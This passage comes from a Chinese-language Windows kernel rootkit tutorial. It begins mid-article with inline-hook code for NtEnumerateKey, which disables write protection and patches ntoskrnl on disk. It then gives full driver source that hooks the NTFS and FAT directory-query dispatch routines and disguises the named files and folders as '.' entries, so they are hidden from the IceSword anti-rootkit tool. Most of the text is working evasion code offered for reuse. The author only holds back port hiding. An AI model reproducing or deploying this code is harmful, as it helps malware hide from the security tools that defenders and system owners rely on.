Status  =  GetOldNtEnumerateKey ();   
 
127.   
 128.             
if  (  Status  !=  STATUS_SUCCESS  )   
 
129.              {   
 
130.                  DbgPrint ( "Get NtQuerySystemInformation Addr Error!!" );   
 
131.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
 
132.              }   
 
133.   
 134.             
_asm     //关中断   
 
135.              {   
 
136.                  CLI               
 
137.                  MOV    EAX ,  CR0        
 
138.                  AND EAX ,  NOT  10000H     
 139.                 
MOV    CR0 ,  EAX           
 
140.              }   
 
141.   
 142.             
_asm   
 
143.              {   
 
144.                  pushad   
 
145.                  //获取 NtEnumerateKey 函数的地址并保留该函数的起始六个字节   
 
146.                  mov edi ,  OldNtEnumerateKey   
 
147.                  mov eax , [ edi ]   
 
148.                  mov dword ptr ResumCodeNtEnumerateKey [ 0 ],  eax   
 
149.                  mov ax , [ edi + 4 ]   
 
150.                  mov word  ptr ResumCodeNtEnumerateKey [ 4 ],  ax   
 
151.                    
 152.                 
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtEnumerateKey去执行   
 
153.   
 154.                 
mov byte ptr CrackCodeNtEnumerateKey [ 0 ],  0x68   
 155.                 
mov byte ptr CrackCodeNtEnumerateKeyWriteFile [ 0 ], 0x68   
 156.                 
lea edi ,  NewNtEnumerateKey   
 
157.                  mov dword ptr CrackCodeNtEnumerateKey [ 1 ],  edi   
 
158.                  mov dword ptr CrackCodeNtEnumerateKeyWriteFile [ 1 ],  edi   
 
159.                  mov byte ptr CrackCodeNtEnumerateKey [ 5 ],  0xc3   
 160.                 
mov byte ptr CrackCodeNtEnumerateKeyWriteFile [ 5 ],  0xc3   
 161.        
 162.                 
//把第NtEnumerateKey的第三个字减去D50在送回   
 
163.                  mov ax ,  word ptr CrackCodeNtEnumerateKeyWriteFile [ 4 ]   
 
164.                  sub ax ,  0xD50   
 165.                 
mov word ptr CrackCodeNtEnumerateKeyWriteFile [ 4 ],  ax   
 
166.   
 167.   
 168.                 
//把构造好的代码进行替换   
 
169.                  mov edi ,  OldNtEnumerateKey   
 
170.                  mov eax ,  dword ptr CrackCodeNtEnumerateKey [ 0 ]   
 
171.                  mov dword ptr [ edi ],  eax   
 
172.                  mov ax ,  word ptr CrackCodeNtEnumerateKey [ 4 ]   
 
173.                  mov word ptr [ edi + 4 ],  ax   
 
174.                  popad   
 
175.              }   
 
176.   
 177.             
_asm     //开中断    
 
178.              {   
 
179.                  MOV    EAX ,  CR0          
 
180.                  OR    EAX ,  10000H               
 181.                 
MOV    CR0 ,  EAX               
 
182.                  STI                       
 
183.              }   
 
184.   
 185.             
Status  =  RepairNtosFile (   
 
186.                              ( DWORD ) OldNtEnumerateKey ,   
 
187.                              //(DWORD)(&CrackCodeNtEnumerateKey) 2k   
 
188.                              ( DWORD )(& CrackCodeNtEnumerateKeyWriteFile ) );  //XP   
 
189.              return  Status ;   
 
190.   
 191. 
}   

7 、隐藏文件:

    终于写到隐藏文件,在实现隐藏文件的过程中,越来越欣赏PJF。IS在获取文件列表的过程时,迂回战术简直玩到了另人匪夷所思的地步!我花了很多时间(好几次坐在机子面前十几个小时想的脑袋都绿了却一点收获都没有)才实现了不用IFS,不用attach文件设备直接而进行隐藏,当时我甚至去 hook函数IoCallDriver函数(经常看到有些人hook这个函数失败,便造谣此函数不能hook,其实是可以的,但是确实很麻烦,如果你也想试试,为了让你少走弯路,好意提醒一下,请尽最大努力保护好寄存器!)来截获系统所有的IRP包,然后分析,真是差点没把我搞死!
    普通情况下,我们是通过发送IRP_MJ_DIRECTORY_CONTROL(
0xC )请求给FSD来获取文件列表的。获取后的信息存在IRP  -> UserBuffer ( 0x3c ) 中。但是你会发现IS在获取文件列表时并不发送IRP_MJ_DIRECTORY_CONTROL给FSD,而是发送IRP_MJ_DEVICE_CONTROL( 0xE )请求给另外一个不知名设备。并且在该被请求完成后,你在完成的IRP数据中找不到任何有关文件名字的影子。或许你便开始点一只烟,盯着屏幕直发楞,直想:“这怎么可能呢?”(呵呵,也许pjf要的就是这种效果)。

    邪恶的微软总是想方设法的企图蒙蔽我们,让我们忽略本质!内核里面的那些什么对象啊、设备啊、这个啊、那个啊、所有乱七八糟的东东,从本质上来讲还不都是一堆代码与数据。IS不发送IRP_MJ_DIRECTORY_CONTROL请求不代表它不会调用这个例程。

    我对IS获取文件列表的猜想(IS的anti Debug太强, 为了今年之内把这个搞定,因此没时间再陪它耗下去了):

    单独创造一个Device,这个Device的IRP_MJ_DEVICE_CONTROL例程中构造IRP与DEVICE_OBJECT后,直接调用IRP_MJ_DIRECTORY_CONTROL例程,这样就避免了向文件设备发送请求但是还能获取文件列表的目的了。关于在完成后的IRP包中无法获取文件名的功能,其实只要在直接调用IRP_MJ_DIRECTORY_CONTROL例程之后,把IRP
-> UserBuffer中的内容转移或加个密就轻易实现了。

    虽然这只是猜想,但是为了验证我的想法。我单独写了个test证明我的想法是可行的。我不能确定IS就是这样做,但我能确定如果你这样做的话就能达到类似的效果。

    IS就是通过设置IO_COMPLETION_ROUTINE函数来第一时间处理完成后的结果,我们下面用的方法就是通过替换这个 IO_COMPLETION_ROUTINE来抢先处理结果。我们处理完了再调用IS的IO_COMPLETION_ROUTINE函数。另外要说的是,由于IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一个文件名(哪怕已重复出现)。而你在自己的 IO_COMPLETION_ROUTINE中如果检测到是自己要隐藏的文件名的话,不能不调用原先IS的IO_COMPLETION_ROUTINE,否则BSOD。因此你只能更改文件属性了,更改文件属性也能达到隐藏的目的。还记不记的以前DOS时代的
[.] 与 [..] 文件夹吗(那片笑声让我想起我的那些文件夹)。当返回你要隐藏的文件时信息,把这些信息全都替换成 [.] 或 [..] 文件夹属性(当然包括文件名信息了)就行了。

    下面的代码先获取FSD设备的IRP_MJ_DIRECTORY_CONTROL分派函数的地址,然后对该函数进行hook。在我们构造的新的 IRP_MJ_DIRECTORY_CONTROL分派函数中通过IO_STACK_LOCATION中的Length(
+ 0x4 )数值来判断是否时IS (IS的Length很特殊,是 0xfe8 。平常的都是 0x1000 ),是的话就进行替换IO_COMPLETION_ROUTINE。

    下的代码在FAT32、NTFS、NTFS
& FAT32中测试通过,在纯Fat中也测试通过。
代码

   
1.  PCWSTR    HideDirectory  = L "neverdeath" ;   
   
2.  PCWSTR    HideFile  =  L "otoskrnl.exe" ;   
   
3.   
   4. 
DWORD NtfsUserbuf ;   
   
5.  DWORD NtfsFileName ;   
   
6.  DWORD NtfsLocaIrp ;   
   
7.   
   8. 
DWORD FatUserbuf ;   
   
9.  DWORD FatFileName ;   
  
10.  DWORD FatLocaIrp ;   
  
11.   
  12. 
typedef  NTSTATUS   (* _DISPATCH )    
  
13.  (   
  
14.    IN PDEVICE_OBJECT  DeviceObject ,   
  
15.    IN OUT PIRP        Irp    
  
16.  );   
  
17.   
  18. 
_DISPATCH OldNtfsQueryDirectoryDispatch ;   
  
19.  _DISPATCH OldFatQueryDirectoryDispatch ;   
  
20.   
  21. 
PIO_COMPLETION_ROUTINE    OldNtfsCompletionRuntine ;   
  
22.  PIO_COMPLETION_ROUTINE  OldFatCompletionRuntine ;   
  
23.   
  24. 
NTSTATUS NewNtfsCompletionRuntine (   
  
25.      IN PDEVICE_OBJECT DeviceObject ,   
  
26.      IN PIRP Irp ,   
  
27.      IN PVOID Context  )   
  
28.  {   
  
29.      NTSTATUS Status ;   
  
30.   
  31.                 
_asm   
  
32.                  {   
  
33.                      pushad   
  
34.                      mov edi ,  NtfsUserbuf   
  
35.                      add edi ,  0x5e   
  36.                     
mov NtfsFileName ,  edi   
  
37.                      popad   
  
38.                  }   
  
39.                  if  (  wcsstr (  NtfsFileName ,  HideDirectory  ) ||   wcsstr (  NtfsFileName ,  HideFile  ) )   
  
40.                  {   
  
41.                      _asm   
  
42.                      {   
  
43.                          pushad   
  
44.                          mov edi , NtfsUserbuf   
  
45.                          mov eax ,  0x16   
  46.                         
mov dword ptr  [ edi + 0x38 ],  eax   
  
47.                          mov eax ,  0x04   
  48.                         
mov dword ptr  [ edi + 0x3c ],  eax   
  
49.                          mov eax ,  0x002e002e   
  50.                         
mov dword ptr  [ edi + 0x5e ],  eax   
  
51.                          popad   
  
52.                      }   
  
53.                  }   
  
54.                  Status  =  OldNtfsCompletionRuntine  (   
  
55.                                      DeviceObject ,   
  
56.                                      Irp ,   
  
57.                                      Context  );                   
  
58.                  return  Status ;   
  
59.                    
  60. 
}   
  
61.   
  62. 
NTSTATUS NewFatCompletionRuntine (   
  
63.      IN PDEVICE_OBJECT DeviceObject ,   
  
64.      IN PIRP Irp ,   
  
65.      IN PVOID Context  )   
  
66.  {   
  
67.      NTSTATUS Status ;   
  
68.   
  69.                 
_asm   
  
70.                  {   
  
71.                      pushad   
  
72.                      mov edi ,  FatUserbuf   
  
73.                      add edi ,  0x5e   
  74.                     
mov FatFileName ,  edi   
  
75.                      popad   
  
76.                  }   
  
77.                  if  (  wcsstr (  FatFileName ,  HideDirectory  ) ||   wcsstr (  FatFileName ,  HideFile  ) )   
  
78.                  {   
  
79.                      _asm   
  
80.                      {   
  
81.                          pushad   
  
82.                          mov edi , FatUserbuf   
  
83.                          mov eax ,  0x16   
  84.                         
mov dword ptr  [ edi + 0x38 ],  eax   
  
85.                          mov eax ,  0x04   
  86.                         
mov dword ptr  [ edi + 0x3c ],  eax   
  
87.                          mov eax ,  0x002e002e   
  88.                         
mov dword ptr  [ edi + 0x5e ],  eax   
  
89.                          popad   
  
90.                      }   
  
91.                  }   
  
92.                  Status  =  OldFatCompletionRuntine  (   
  
93.                                      DeviceObject ,   
  
94.                                      Irp ,   
  
95.                                      Context  );                   
  
96.                  return  Status ;   
  
97.                    
  98. 
}   
  
99.   
 100. 
NTSTATUS NewNtfsQueryDirectoryDispatch  (    
 
101.    IN PDEVICE_OBJECT  DeviceObject ,   
 
102.    IN OUT PIRP        Irp  )   
 
103.  {   
 
104.      NTSTATUS    Status ;   
 
105.      DWORD        QueryFile ;    
 
106.   
 107.   
 108.                 
_asm   
 
109.                  {   
 
110.                      pushad   
 
111.                      mov edi ,  OldNtfsQueryDirectoryDispatch   
 
112.                      mov eax ,  dword ptr ResumCodeNtfsQueryDirectoryDispatch [ 0 ]   
 
113.                      mov  [ edi ],  eax   
 
114.                      mov ax ,  word ptr ResumCodeNtfsQueryDirectoryDispatch [ 4 ]   
 
115.                      mov  [ edi + 4 ],  ax   
 
116.                      popad   
 
117.                  }   
 
118.   
 119.                 
_asm   
 
120.                  {   
 
121.                      pushad   
 
122.                      mov edi ,  Irp   
 
123.                      mov eax , [ edi + 0x60 ]   
 
124.                      mov ecx , [ edi + 0x3c ]   
 
125.                      mov edi , [ eax + 4 ]   
 
126.                      mov QueryFile ,  edi   
 
127.                      mov NtfsUserbuf ,  ecx   
 
128.                      mov NtfsLocaIrp ,  eax   
 
129.                      popad   
 
130.                  }   
 
131.   
 132.                 
if  (  QueryFile  ==  0xfe8  )   
 
133.                  {   
 
134.                      _asm   
 
135.                      {   
 
136.                          pushad   
 
137.                          mov edi ,  NtfsLocaIrp   
 
138.                          mov eax , [ edi + 0x1c ]   
 
139.                          mov OldNtfsCompletionRuntine ,  eax   
 
140.                          lea eax ,  NewNtfsCompletionRuntine   
 
141.                          mov  [ edi + 0x1c ],  eax   
 
142.                          popad   
 
143.                      }                   
 
144.                  }   
 
145.   
 146.   
 147.                 
Status  =  OldNtfsQueryDirectoryDispatch  (   
 
148.                                          DeviceObject ,   
 
149.                                          Irp  );   
 
150.   
 151.                 
_asm    
 
152.                  {   
 
153.                      pushad   
 
154.                      mov edi ,  OldNtfsQueryDirectoryDispatch   
 
155.                      mov eax ,  dword ptr CrackCodeNtfsQueryDirectoryDispatch [ 0 ]   
 
156.                      mov  [ edi ],  eax   
 
157.                      mov ax ,  word ptr CrackCodeNtfsQueryDirectoryDispatch [ 4 ]   
 
158.                      mov  [ edi + 4 ],  ax   
 
159.                      popad   
 
160.                  }   
 
161.                  return  Status ;   
 
162.  }   
 
163.   
 164.   
 165. 
NTSTATUS NewFatQueryDirectoryDispatch  (    
 
166.    IN PDEVICE_OBJECT  DeviceObject ,   
 
167.    IN OUT PIRP        Irp  )   
 
168.  {   
 
169.      NTSTATUS    Status ;   
 
170.      DWORD        QueryFile ;    
 
171.   
 172.   
 173.                 
_asm   
 
174.                  {   
 
175.                      pushad   
 
176.                      ,  mov edi ,  OldFatQueryDirectoryDispatch   
 
177.                      mov eax ,  dword ptr ResumCodeFatQueryDirectoryDispatch [ 0 ]   
 
178.                      mov  [ edi ],  eax   
 
179.                      mov ax ,  word ptr ResumCodeFatQueryDirectoryDispatch [ 4 ]   
 
180.                      mov  [ edi + 4 ],  ax   
 
181.                      popad   
 
182.                  }   
 
183.   
 184.                 
_asm   
 
185.                  {   
 
186.                      pushad   
 
187.                      mov edi ,  Irp   
 
188.                      mov eax , [ edi + 0x60 ]   
 
189.                      mov ecx , [ edi + 0x3c ]   
 
190.                      mov edi , [ eax + 4 ]   
 
191.                      mov QueryFile ,  edi   
 
192.                      mov FatUserbuf ,  ecx   
 
193.                      mov FatLocaIrp ,  eax   
 
194.                      popad   
 
195.                  }   
 
196.   
 197.                 
if  (  QueryFile  ==  0xfe8  )   
 
198.                  {   
 
199.                      _asm   
 
200.                      {   
 
201.                          pushad   
 
202.                          mov edi ,  FatLocaIrp   
 
203.                          mov eax , [ edi + 0x1c ]   
 
204.                          mov OldFatCompletionRuntine ,  eax   
 
205.                          lea eax ,  NewFatCompletionRuntine   
 
206.                          mov  [ edi + 0x1c ],  eax   
 
207.                          popad   
 
208.                      }                   
 
209.                  }   
 
210.   
 211.   
 212.                 
Status  =  OldFatQueryDirectoryDispatch   (   
 
213.                                          DeviceObject ,   
 
214.                                          Irp  );   
 
215.   
 216.                 
_asm    
 
217.                  {   
 
218.                      pushad   
 
219.                      mov edi ,  OldFatQueryDirectoryDispatch   
 
220.                      mov eax ,  dword ptr CrackCodeFatQueryDirectoryDispatch [ 0 ]   
 
221.                      mov  [ edi ],  eax   
 
222.                      mov ax ,  word ptr CrackCodeFatQueryDirectoryDispatch [ 4 ]   
 
223.                      mov  [ edi + 4 ],  ax   
 
224.                      popad   
 
225.                  }   
 
226.                  return  Status ;   
 
227.  }   
 
228.   
 229. 
NTSTATUS PatchFileSystemDevicePatDispatch ()   
 
230.  {   
 
231.      NTSTATUS NtfsStatus ;   
 
232.      NTSTATUS FastFatStatus ;   
 
233.      UNICODE_STRING FileSystemName ;   
 
234.      PVOID FileDeviceObject ;   
 
235.      POBJECT_TYPE ObjectType ;   
 
236.        
 237.         
DbgPrint ( "My Driver Loaded!" );   
 
238.   
 239.         
RtlInitUnicodeString ( & FileSystemName ,  L "\\FileSystem\\Ntfs"  );   
 
240.   
 241.         
NtfsStatus  =  ObReferenceObjectByName   (     
 
242.                                  & FileSystemName ,     
 
243.                                 0x40 ,     
 
244.                                  NULL ,     
 
245.                                  NULL ,     
 
246.                                  & ObjectType ,     
 
247.                                  NULL ,     
 
248.                                  NULL ,     
 
249.                                  & FileDeviceObject  );    
 
250.          if   (  NtfsStatus  ==  STATUS_SUCCESS  )   
 
251.          {   
 
252.   
 253.             
_asm   
 
254.          {   
 
255.              pushad   
 
256.              mov edi ,  FileDeviceObject   
 
257.              mov eax , [ edi + 0x68 ]   
 
258.              mov OldNtfsQueryDirectoryDispatch ,  eax   
 
259.              popad   
 
260.          }   
 
261.   
 262.        
 263.             
_asm   
 
264.          {   
 
265.              CLI                     
 
266.              MOV    EAX ,  CR0          
 
267.              AND EAX ,  NOT  10000H    
 268.             
MOV    CR0 ,  EAX         
 
269.          }   
 
270.   
 271.               
_asm   
 
272.          {   
 
273.              pushad   
 
274.              mov edi ,  OldNtfsQueryDirectoryDispatch   
 
275.              mov eax , [ edi ]   
 
276.              mov dword ptr ResumCodeNtfsQueryDirectoryDispatch [ 0 ],  eax   
 
277.              mov ax , [ edi + 4 ]   
 
278.              mov word  ptr ResumCodeNtfsQueryDirectoryDispatch [ 4 ],  ax   
 
279.                
 280.             
mov byte ptr CrackCodeNtfsQueryDirectoryDispatch [ 0 ],  0x68   
 281.             
lea edi ,  NewNtfsQueryDirectoryDispatch   
 
282.              mov dword ptr CrackCodeNtfsQueryDirectoryDispatch [ 1 ],  edi   
 
283.              mov byte ptr CrackCodeNtfsQueryDirectoryDispatch [ 5 ],  0xC3   
 284.   
 285.             
mov edi ,  OldNtfsQueryDirectoryDispatch   
 
286.              mov eax ,  dword ptr CrackCodeNtfsQueryDirectoryDispatch [ 0 ]   
 
287.              mov dword ptr [ edi ],  eax   
 
288.              mov ax ,  word ptr CrackCodeNtfsQueryDirectoryDispatch [ 4 ]   
 
289.              mov word ptr [ edi + 4 ],  ax   
 
290.              popad   
 
291.          }   
 
292.   
 293.   
 294.             
_asm    
 
295.          {   
 
296.              MOV    EAX ,  CR0          
 
297.              OR    EAX ,  10000H             
 298.             
MOV    CR0 ,  EAX                  
 
299.              STI                      
 
300.          }   
 
301.          }   
 
302.   
 303.   
 304.         
RtlInitUnicodeString ( & FileSystemName ,  L "\\FileSystem\\Fastfat"  );   
 
305.   
 306.         
FastFatStatus  =  ObReferenceObjectByName  (     
 
307.                                  & FileSystemName ,     
 
308.                                 0x40 ,     
 
309.                                  NULL ,     
 
310.                                  NULL ,     
 
311.                                  & ObjectType ,     
 
312.                                  NULL ,     
 
313.                                  NULL ,     
 
314.                                  & FileDeviceObject  );    
 
315.          if  (  FastFatStatus  ==  STATUS_SUCCESS  )   
 
316.          {   
 
317.              _asm   
 
318.          {   
 
319.              pushad   
 
320.              mov edi ,  FileDeviceObject   
 
321.              mov eax , [ edi + 0x68 ]   
 
322.              mov OldFatQueryDirectoryDispatch ,  eax   
 
323.              popad   
 
324.          }   
 
325.   
 326.        
 327.             
_asm   
 
328.          {   
 
329.              CLI                      
 
330.              MOV    EAX ,  CR0          
 
331.              AND EAX ,  NOT  10000H    
 332.             
MOV    CR0 ,  EAX         
 
333.          }   
 
334.   
 335.               
_asm   
 
336.          {   
 
337.              pushad   
 
338.              mov edi ,  OldFatQueryDirectoryDispatch   
 
339.              mov eax , [ edi ]   
 
340.              mov dword ptr ResumCodeFatQueryDirectoryDispatch [ 0 ],  eax   
 
341.              mov ax , [ edi + 4 ]   
 
342.              mov word  ptr ResumCodeFatQueryDirectoryDispatch [ 4 ],  ax   
 
343.                
 344.             
mov byte ptr CrackCodeFatQueryDirectoryDispatch [ 0 ],  0x68   
 345.             
lea edi ,  NewFatQueryDirectoryDispatch   
 
346.              mov dword ptr CrackCodeFatQueryDirectoryDispatch [ 1 ],  edi   
 
347.              mov byte ptr CrackCodeFatQueryDirectoryDispatch [ 5 ],  0xC3   
 348.   
 349.             
mov edi ,  OldFatQueryDirectoryDispatch   
 
350.              mov eax ,  dword ptr CrackCodeFatQueryDirectoryDispatch [ 0 ]   
 
351.              mov dword ptr [ edi ],  eax   
 
352.              mov ax ,  word ptr CrackCodeFatQueryDirectoryDispatch [ 4 ]   
 
353.              mov word ptr [ edi + 4 ],  ax   
 
354.              popad   
 
355.          }   
 
356.   
 357.   
 358.             
_asm    
 
359.          {   
 
360.              MOV    EAX ,  CR0       
 
361.              OR    EAX ,  10000H       
 362.             
MOV    CR0 ,  EAX             
 
363.              STI                      
 
364.          }   
 
365.   
 366.   
 367.            
 368.         
}   
 
369.   
 370.         
return  (  NtfsStatus  &  FastFatStatus  );     
 
371.   
 372. 
}   

以上代码只能实现在IS中隐藏文件,如果要想在普通情况下隐藏文件,可以hook服务表中的函数,也可以在上面构造新的分派函数中增加一些选择项就是了。但是记得hook服务表中的函数别忘了把构造后的数据写入otoskrnl . exe中,免得IS启动时失效。


八、关于端口:

    感觉是该停止的时候了,如果把这个也搞出来并且本文被灰鸽子作者之流A进他的作品的话,那就违背我的本意并且我的心也会也会难受的。因此就在这里止步吧!呵呵,今年我想要学的东西,想要做的事情也都做完了。可以好好回去过年了。爽啊!最后祝各位圣诞快乐!特别时那些他乡的游子。记得打个电话回去问候哟!


参考文章:

wuyanfeng     《icesword 驱动部分分析》 
//呵呵,希望大家给国产调试器一些支持 !!    
tombkeeper    《获取Windows 系统的内核变量》    http : //www.xfocus.net/articles/200408/724.html
JIURL         《IRP 乱杂谈》            http : //jiurl.yeah.net/        
JIURL        《JIURL玩玩Win2k进程线程篇 HANDLE_TABLE》http : //jiurl.yeah.net/
JIURL         《JIURL玩玩Win2k 对象》            http : //jiurl.yeah.net/    
sinister    《隐藏任意进程,目录 / 文件,注册表,端口》